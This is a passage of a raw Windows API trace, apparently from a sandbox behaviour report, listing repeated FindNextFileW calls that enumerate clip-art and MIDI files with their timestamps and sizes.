lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0249.490] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0249.491] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0249.493] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0249.493] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0249.493] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0249.493] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0249.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0249.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0249.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0249.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0249.495] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0249.496] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0249.496] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0249.496] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0249.557] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0249.557] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0249.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0249.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0249.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0249.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0249.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0249.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0249.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0249.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0249.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0249.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0249.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0249.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, 